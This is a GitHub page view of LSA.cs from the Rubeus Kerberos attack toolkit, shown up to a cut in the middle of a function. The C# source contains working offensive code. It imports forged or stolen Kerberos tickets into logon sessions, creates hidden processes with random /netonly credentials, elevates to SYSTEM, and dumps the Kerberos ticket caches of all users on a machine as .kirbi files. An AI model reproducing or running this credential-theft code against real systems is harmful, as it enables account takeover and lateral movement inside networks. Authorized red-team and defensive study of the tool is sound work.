-
Notifications
You must be signed in to change notification settings - Fork 898
Expand file tree
/
Copy pathLSA.cs
More file actions
executable file
·2364 lines (1993 loc) · 141 KB
/
Copy pathLSA.cs
File metadata and controls
executable file
·2364 lines (1993 loc) · 141 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
using Asn1;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
using System.Security;
using System.Reflection;
using System.Security.AccessControl;
using Microsoft.Win32;
using ConsoleTables;
using System.Security.Principal;
namespace Rubeus
{
public class LSA
{
public static IntPtr LsaRegisterLogonProcessHelper()
{
// helper that establishes a connection to the LSA server and verifies that the caller is a logon application
// used for Kerberos ticket enumeration
string logonProcessName = "User32LogonProcesss";
Interop.LSA_STRING_IN LSAString;
IntPtr lsaHandle = IntPtr.Zero;
UInt64 securityMode = 0;
LSAString.Length = (ushort)logonProcessName.Length;
LSAString.MaximumLength = (ushort)(logonProcessName.Length + 1);
LSAString.Buffer = logonProcessName;
int ret = Interop.LsaRegisterLogonProcess(LSAString, out lsaHandle, out securityMode);
return lsaHandle;
}
public static Interop.LUID CreateProcessNetOnly(string commandLine, bool show = false)
{
// creates a hidden process with random /netonly credentials,
// displayng the process ID and LUID, and returning the LUID
// Note: the LUID can be used with the "ptt" action
Console.WriteLine("\r\n[*] Action: Create Process (/netonly)\r\n");
Interop.PROCESS_INFORMATION pi;
Interop.STARTUPINFO si = new Interop.STARTUPINFO();
si.cb = Marshal.SizeOf(si);
if (!show)
{
// hide the window
si.wShowWindow = 0;
si.dwFlags = 0x00000001;
}
Console.WriteLine("[*] Showing process : {0}", show);
Interop.LUID luid = new Interop.LUID();
// 0x00000002 == LOGON_NETCREDENTIALS_ONLY
if (!Interop.CreateProcessWithLogonW(Helpers.RandomString(8), Helpers.RandomString(8), Helpers.RandomString(8), 0x00000002, commandLine, String.Empty, 0, 0, null, ref si, out pi))
{
uint lastError = Interop.GetLastError();
Console.WriteLine("[X] CreateProcessWithLogonW error: {0}", lastError);
return new Interop.LUID();
}
Console.WriteLine("[+] Process : '{0}' successfully created with LOGON_TYPE = 9", commandLine);
Console.WriteLine("[+] ProcessID : {0}", pi.dwProcessId);
IntPtr hToken = IntPtr.Zero;
// TOKEN_QUERY == 0x0008
bool success = Interop.OpenProcessToken(pi.hProcess, 0x0008, out hToken);
if (!success)
{
uint lastError = Interop.GetLastError();
Console.WriteLine("[X] OpenProcessToken error: {0}", lastError);
return new Interop.LUID();
}
int TokenInfLength = 0;
bool Result;
// first call gets lenght of TokenInformation to get proper struct size
Result = Interop.GetTokenInformation(hToken, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, IntPtr.Zero, TokenInfLength, out TokenInfLength);
IntPtr TokenInformation = Marshal.AllocHGlobal(TokenInfLength);
// second call actually gets the information
Result = Interop.GetTokenInformation(hToken, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, TokenInformation, TokenInfLength, out TokenInfLength);
if (Result)
{
Interop.TOKEN_STATISTICS TokenStats = (Interop.TOKEN_STATISTICS)Marshal.PtrToStructure(TokenInformation, typeof(Interop.TOKEN_STATISTICS));
luid = new Interop.LUID(TokenStats.AuthenticationId);
Console.WriteLine("[+] LUID : {0}", luid);
}
else
{
uint lastError = Interop.GetLastError();
Console.WriteLine("[X] GetTokenInformation error: {0}", lastError);
Marshal.FreeHGlobal(TokenInformation);
Interop.CloseHandle(hToken);
return new Interop.LUID();
}
Marshal.FreeHGlobal(TokenInformation);
Interop.CloseHandle(hToken);
return luid;
}
public static void ImportTicket(byte[] ticket, Interop.LUID targetLuid)
{
Console.WriteLine("\r\n[*] Action: Import Ticket");
// straight from Vincent LE TOUX' work
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2925-L2971
IntPtr LsaHandle = IntPtr.Zero;
int AuthenticationPackage;
int ntstatus, ProtocalStatus;
if((ulong)targetLuid != 0)
{
if(!Helpers.IsHighIntegrity())
{
Console.WriteLine("[X] You need to be in high integrity to apply a ticket to a different logon session");
return;
}
else
{
string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
if (currentName == "NT AUTHORITY\\SYSTEM")
{
// if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper
LsaHandle = LsaRegisterLogonProcessHelper();
}
else
{
// elevated but not system, so gotta GetSystem() first
Helpers.GetSystem();
// should now have the proper privileges to get a Handle to LSA
LsaHandle = LsaRegisterLogonProcessHelper();
// we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
Interop.RevertToSelf();
}
}
}
else
{
// otherwise use the unprivileged connection with LsaConnectUntrusted
ntstatus = Interop.LsaConnectUntrusted(out LsaHandle);
}
IntPtr inputBuffer = IntPtr.Zero;
IntPtr ProtocolReturnBuffer;
int ReturnBufferLength;
try
{
Interop.LSA_STRING_IN LSAString;
string Name = "kerberos";
LSAString.Length = (ushort)Name.Length;
LSAString.MaximumLength = (ushort)(Name.Length + 1);
LSAString.Buffer = Name;
ntstatus = Interop.LsaLookupAuthenticationPackage(LsaHandle, ref LSAString, out AuthenticationPackage);
if (ntstatus != 0)
{
uint winError = Interop.LsaNtStatusToWinError((uint)ntstatus);
string errorMessage = new Win32Exception((int)winError).Message;
Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage);
return;
}
Interop.KERB_SUBMIT_TKT_REQUEST request = new Interop.KERB_SUBMIT_TKT_REQUEST();
request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage;
request.KerbCredSize = ticket.Length;
request.KerbCredOffset = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST));
if((ulong)targetLuid != 0)
{
Console.WriteLine("[*] Target LUID: 0x{0:x}", (ulong)targetLuid);
request.LogonId = targetLuid;
}
int inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST)) + ticket.Length;
inputBuffer = Marshal.AllocHGlobal(inputBufferSize);
Marshal.StructureToPtr(request, inputBuffer, false);
Marshal.Copy(ticket, 0, new IntPtr(inputBuffer.ToInt64() + request.KerbCredOffset), ticket.Length);
ntstatus = Interop.LsaCallAuthenticationPackage(LsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus);
if (ntstatus != 0)
{
uint winError = Interop.LsaNtStatusToWinError((uint)ntstatus);
string errorMessage = new Win32Exception((int)winError).Message;
Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage);
return;
}
if (ProtocalStatus != 0)
{
uint winError = Interop.LsaNtStatusToWinError((uint)ProtocalStatus);
string errorMessage = new Win32Exception((int)winError).Message;
Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage (ProtocalStatus): {1}", winError, errorMessage);
return;
}
Console.WriteLine("[+] Ticket successfully imported!");
}
finally
{
if (inputBuffer != IntPtr.Zero)
Marshal.FreeHGlobal(inputBuffer);
Interop.LsaDeregisterLogonProcess(LsaHandle);
}
}
public static void Purge(Interop.LUID targetLuid)
{
Console.WriteLine("\r\n[*] Action: Purge Tickets");
// straight from Vincent LE TOUX' work
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2925-L2971
IntPtr LsaHandle = IntPtr.Zero;
int AuthenticationPackage;
int ntstatus, ProtocalStatus;
if ((ulong)targetLuid != 0)
{
if (!Helpers.IsHighIntegrity())
{
Console.WriteLine("[X] You need to be in high integrity to purge tickets from a different logon session");
return;
}
else
{
string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
if (currentName == "NT AUTHORITY\\SYSTEM")
{
// if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper
LsaHandle = LsaRegisterLogonProcessHelper();
}
else
{
// elevated but not system, so gotta GetSystem() first
Helpers.GetSystem();
// should now have the proper privileges to get a Handle to LSA
LsaHandle = LsaRegisterLogonProcessHelper();
// we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
Interop.RevertToSelf();
}
}
}
else
{
// otherwise use the unprivileged connection with LsaConnectUntrusted
ntstatus = Interop.LsaConnectUntrusted(out LsaHandle);
}
IntPtr inputBuffer = IntPtr.Zero;
IntPtr ProtocolReturnBuffer;
int ReturnBufferLength;
try
{
Interop.LSA_STRING_IN LSAString;
string Name = "kerberos";
LSAString.Length = (ushort)Name.Length;
LSAString.MaximumLength = (ushort)(Name.Length + 1);
LSAString.Buffer = Name;
ntstatus = Interop.LsaLookupAuthenticationPackage(LsaHandle, ref LSAString, out AuthenticationPackage);
if (ntstatus != 0)
{
uint winError = Interop.LsaNtStatusToWinError((uint)ntstatus);
string errorMessage = new Win32Exception((int)winError).Message;
Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage);
return;
}
Interop.KERB_PURGE_TKT_CACHE_REQUEST request = new Interop.KERB_PURGE_TKT_CACHE_REQUEST();
request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage;
if ((ulong)targetLuid != 0)
{
Console.WriteLine("[*] Target LUID: 0x{0:x}", (ulong)targetLuid);
request.LogonId = targetLuid;
}
int inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_PURGE_TKT_CACHE_REQUEST));
inputBuffer = Marshal.AllocHGlobal(inputBufferSize);
Marshal.StructureToPtr(request, inputBuffer, false);
ntstatus = Interop.LsaCallAuthenticationPackage(LsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus);
if (ntstatus != 0)
{
uint winError = Interop.LsaNtStatusToWinError((uint)ntstatus);
string errorMessage = new Win32Exception((int)winError).Message;
Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage);
return;
}
if (ProtocalStatus != 0)
{
uint winError = Interop.LsaNtStatusToWinError((uint)ProtocalStatus);
string errorMessage = new Win32Exception((int)winError).Message;
Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage (ProtocolStatus): {1}", winError, errorMessage);
return;
}
Console.WriteLine("[+] Tickets successfully purged!");
}
finally
{
if (inputBuffer != IntPtr.Zero)
Marshal.FreeHGlobal(inputBuffer);
Interop.LsaDeregisterLogonProcess(LsaHandle);
}
}
public static void ListKerberosTicketData(Interop.LUID targetLuid, string targetService = "", bool monitor = false, string registryBasePath = null)
{
if (Helpers.IsHighIntegrity())
{
ListKerberosTicketDataAllUsers(targetLuid, targetService, monitor, false, registryBasePath);
}
else
{
if (registryBasePath != null)
{
Console.WriteLine("[X] Registry option was passed but will not be used, as we require elevated rights to write to HKLM.");
}
ListKerberosTicketDataCurrentUser(targetService);
}
}
public static void ListKerberosTickets(Interop.LUID targetLuid)
{
if (Helpers.IsHighIntegrity())
{
ListKerberosTicketsAllUsers(targetLuid);
}
else
{
ListKerberosTicketsCurrentUser();
}
}
public static void ListKerberosTicketDataAllUsers(Interop.LUID targetLuid, string targetService = "", bool monitor = false, bool harvest = false, string registryBasePath = null)
{
// extracts Kerberos ticket data for all users on the system (assuming elevation)
// first elevates to SYSTEM and uses LsaRegisterLogonProcessHelper connect to LSA
// then calls LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type to enumerate all cached tickets
// and finally uses LsaCallAuthenticationPackage w/ a KerbRetrieveEncodedTicketMessage message type
// to extract the Kerberos ticket data in .kirbi format (service tickets and TGTs)
// adapted partially from Vincent LE TOUX' work
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
// and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
// also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
Microsoft.Win32.RegistryKey baseKey = null;
Microsoft.Win32.RegistryKey userData = null;
string user = null;
if (!monitor)
{
Console.WriteLine("\r\n\r\n[*] Action: Dump Kerberos Ticket Data (All Users)\r\n");
}
else
{
if (Environment.UserName == "SYSTEM")
{
user = "NT AUTHORITY\\SYSTEM";
}
else
{
user = Environment.UserDomainName + "\\" + Environment.UserName;
};
if (registryBasePath != null)
{
try
{
Registry.LocalMachine.CreateSubKey(registryBasePath);
baseKey = Registry.LocalMachine.OpenSubKey(registryBasePath, RegistryKeyPermissionCheck.ReadWriteSubTree);
RegistrySecurity rs = baseKey.GetAccessControl();
RegistryAccessRule rar = new RegistryAccessRule(
user,
RegistryRights.FullControl,
InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
PropagationFlags.None,
AccessControlType.Allow);
rs.AddAccessRule(rar);
baseKey.SetAccessControl(rs);
}
catch
{
Console.WriteLine("[-] Error setting correct ACLs for HKLM:\\{0}", registryBasePath);
baseKey = null;
}
}
}
if ((ulong)targetLuid != 0)
{
Console.WriteLine("[*] Target LUID: 0x{0:x}", (ulong)targetLuid);
}
if (!String.IsNullOrEmpty(targetService))
{
Console.WriteLine("[*] Target service : {0:x}", targetService);
if (!monitor)
{
Console.WriteLine();
}
}
int totalTicketCount = 0;
int extractedTicketCount = 0;
int retCode;
int authPack;
string name = "kerberos";
Interop.LSA_STRING_IN LSAString;
LSAString.Length = (ushort)name.Length;
LSAString.MaximumLength = (ushort)(name.Length + 1);
LSAString.Buffer = name;
IntPtr lsaHandle = LsaRegisterLogonProcessHelper();
// if the original call fails then it is likely we don't have SeTcbPrivilege
// to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token
if (lsaHandle == IntPtr.Zero)
{
string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
if (currentName == "NT AUTHORITY\\SYSTEM")
{
// if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper
lsaHandle = LsaRegisterLogonProcessHelper();
}
else
{
// elevated but not system, so gotta GetSystem() first
Helpers.GetSystem();
// should now have the proper privileges to get a Handle to LSA
lsaHandle = LsaRegisterLogonProcessHelper();
// we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
Interop.RevertToSelf();
}
}
try
{
// obtains the unique identifier for the kerberos authentication package.
retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
// first return all the logon sessions
DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate
UInt64 count;
IntPtr luidPtr = IntPtr.Zero;
IntPtr iter = luidPtr;
uint ret = Interop.LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs
for (ulong i = 0; i < count; i++)
{
IntPtr sessionData;
ret = Interop.LsaGetLogonSessionData(luidPtr, out sessionData);
Interop.SECURITY_LOGON_SESSION_DATA data = (Interop.SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(Interop.SECURITY_LOGON_SESSION_DATA));
// if we have a valid logon
if (data.PSiD != IntPtr.Zero)
{
// user session data
string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim();
System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD);
string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim();
string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim();
Interop.SECURITY_LOGON_TYPE logonType = (Interop.SECURITY_LOGON_TYPE)data.LogonType;
DateTime logonTime = systime.AddTicks((long)data.LoginTime);
string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim();
string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim();
string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim();
IntPtr ticketsPointer = IntPtr.Zero;
DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0);
int returnBufferLength = 0;
int protocalStatus = 0;
Interop.KERB_QUERY_TKT_CACHE_REQUEST tQuery = new Interop.KERB_QUERY_TKT_CACHE_REQUEST();
Interop.KERB_QUERY_TKT_CACHE_RESPONSE tickets = new Interop.KERB_QUERY_TKT_CACHE_RESPONSE();
Interop.KERB_TICKET_CACHE_INFO ticket;
// input object for querying the ticket cache for a specific logon ID
Interop.LUID userLogonID = new Interop.LUID(data.LoginID);
tQuery.LogonId = userLogonID;
if (((ulong)targetLuid == 0) || (data.LoginID == targetLuid))
{
tQuery.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage;
// query LSA, specifying we want the ticket cache
IntPtr tQueryPtr = Marshal.AllocHGlobal(Marshal.SizeOf(tQuery));
Marshal.StructureToPtr(tQuery, tQueryPtr, false);
retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, tQueryPtr, Marshal.SizeOf(tQuery), out ticketsPointer, out returnBufferLength, out protocalStatus);
if (ticketsPointer != IntPtr.Zero)
{
// parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure
tickets = (Interop.KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketsPointer, typeof(Interop.KERB_QUERY_TKT_CACHE_RESPONSE));
int count2 = tickets.CountOfTickets;
if (count2 != 0)
{
if (baseKey != null)
{
baseKey.CreateSubKey(username + "@" + domain);
userData = baseKey.OpenSubKey(username + "@" + domain, RegistryKeyPermissionCheck.ReadWriteSubTree);
userData.SetValue("Username", username);
userData.SetValue("Domain", domain);
userData.SetValue("LoginId", data.LoginID.LowPart.ToString());
userData.SetValue("UserSID", sid.Value.ToString());
userData.SetValue("AuthenticationPackage", authpackage.ToString());
userData.SetValue("LogonType", logonType.ToString());
userData.SetValue("LogonTime", logonTime.ToString());
userData.SetValue("LogonServer", logonServer.ToString());
userData.SetValue("LogonServerDNSDomain", dnsDomainName.ToString());
userData.SetValue("UserPrincipalName", upn.ToString());
}
Console.WriteLine("\r\n UserName : {0}", username);
Console.WriteLine(" Domain : {0}", domain);
Console.WriteLine(" LogonId : {0}", data.LoginID);
Console.WriteLine(" UserSID : {0}", sid.Value);
Console.WriteLine(" AuthenticationPackage : {0}", authpackage);
Console.WriteLine(" LogonType : {0}", logonType);
Console.WriteLine(" LogonTime : {0}", logonTime);
Console.WriteLine(" LogonServer : {0}", logonServer);
Console.WriteLine(" LogonServerDNSDomain : {0}", dnsDomainName);
Console.WriteLine(" UserPrincipalName : {0}", upn);
Console.WriteLine();
if (!monitor)
{
Console.WriteLine(" [*] Enumerated {0} ticket(s):\r\n", count2);
}
totalTicketCount += count2;
// get the size of the structures we're iterating over
Int32 dataSize = Marshal.SizeOf(typeof(Interop.KERB_TICKET_CACHE_INFO));
for (int j = 0; j < count2; j++)
{
// iterate through the result structures
IntPtr currTicketPtr = (IntPtr)(long)((ticketsPointer.ToInt64() + (int)(8 + j * dataSize)));
// parse the new ptr to the appropriate structure
ticket = (Interop.KERB_TICKET_CACHE_INFO)Marshal.PtrToStructure(currTicketPtr, typeof(Interop.KERB_TICKET_CACHE_INFO));
// extract the serverName and ticket flags
string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2);
if (String.IsNullOrEmpty(targetService) || (Regex.IsMatch(serverName, String.Format(@"^{0}/.*", targetService), RegexOptions.IgnoreCase)))
{
extractedTicketCount++;
// now we have to call LsaCallAuthenticationPackage() again with the specific server target
IntPtr responsePointer = IntPtr.Zero;
Interop.KERB_RETRIEVE_TKT_REQUEST request = new Interop.KERB_RETRIEVE_TKT_REQUEST();
Interop.KERB_RETRIEVE_TKT_RESPONSE response = new Interop.KERB_RETRIEVE_TKT_RESPONSE();
// signal that we want encoded .kirbi's returned
request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage;
// the specific logon session ID
request.LogonId = userLogonID;
request.TicketFlags = ticket.TicketFlags;
request.CacheOptions = 0x8; // KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED
request.EncryptionType = 0x0;
// the target ticket name we want the ticket for
Interop.UNICODE_STRING tName = new Interop.UNICODE_STRING(serverName);
request.TargetName = tName;
// the following is due to the wonky way LsaCallAuthenticationPackage wants the KERB_RETRIEVE_TKT_REQUEST
// for KerbRetrieveEncodedTicketMessages
// create a new unmanaged struct of size KERB_RETRIEVE_TKT_REQUEST + target name max len
int structSize = Marshal.SizeOf(typeof(Interop.KERB_RETRIEVE_TKT_REQUEST));
int newStructSize = structSize + tName.MaximumLength;
IntPtr unmanagedAddr = Marshal.AllocHGlobal(newStructSize);
// marshal the struct from a managed object to an unmanaged block of memory.
Marshal.StructureToPtr(request, unmanagedAddr, false);
// set tName pointer to end of KERB_RETRIEVE_TKT_REQUEST
IntPtr newTargetNameBuffPtr = (IntPtr)((long)(unmanagedAddr.ToInt64() + (long)structSize));
// copy unicode chars to the new location
Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength);
// update the target name buffer ptr
Marshal.WriteIntPtr(unmanagedAddr, 24, newTargetNameBuffPtr);
// actually get the data
retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, unmanagedAddr, newStructSize, out responsePointer, out returnBufferLength, out protocalStatus);
// translate the LSA error (if any) to a Windows error
uint winError = Interop.LsaNtStatusToWinError((uint)protocalStatus);
if ((retCode == 0) && ((uint)winError == 0) && (returnBufferLength != 0))
{
// parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE));
string serviceName = "";
if (response.Ticket.ServiceName != IntPtr.Zero)
{
Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME));
if (serviceNameStruct.NameCount == 1)
{
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
serviceName = serviceNameStr1;
}
else if (serviceNameStruct.NameCount == 2)
{
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2);
}
else if (serviceNameStruct.NameCount == 3)
{
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
string serviceNameStr3 = Marshal.PtrToStringUni(serviceNameStruct.Names[2].Buffer, serviceNameStruct.Names[2].Length / 2).Trim();
serviceName = String.Format("{0}/{1}/{2}", serviceNameStr1, serviceNameStr2, serviceNameStr3);
}
else { }
}
string targetName = "";
if (response.Ticket.TargetName != IntPtr.Zero)
{
Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME));
if (targetNameStruct.NameCount == 1)
{
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
targetName = targetNameStr1;
}
else if (targetNameStruct.NameCount == 2)
{
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2);
}
else if (targetNameStruct.NameCount == 3)
{
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
string targetNameStr3 = Marshal.PtrToStringUni(targetNameStruct.Names[2].Buffer, targetNameStruct.Names[2].Length / 2).Trim();
targetName = String.Format("{0}/{1}/{2}", targetNameStr1, targetNameStr2, targetNameStr3);
}
else { }
}
string clientName = "";
if (response.Ticket.ClientName != IntPtr.Zero)
{
Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
if (clientNameStruct.NameCount == 1)
{
string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
clientName = clientNameStr1;
}
else if (clientNameStruct.NameCount == 2)
{
string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
string clientNameStr2 = Marshal.PtrToStringUni(clientNameStruct.Names[1].Buffer, clientNameStruct.Names[1].Length / 2).Trim();
clientName = String.Format("{0}@{1}", clientNameStr1, clientNameStr2);
}
else { }
}
string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim();
string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim();
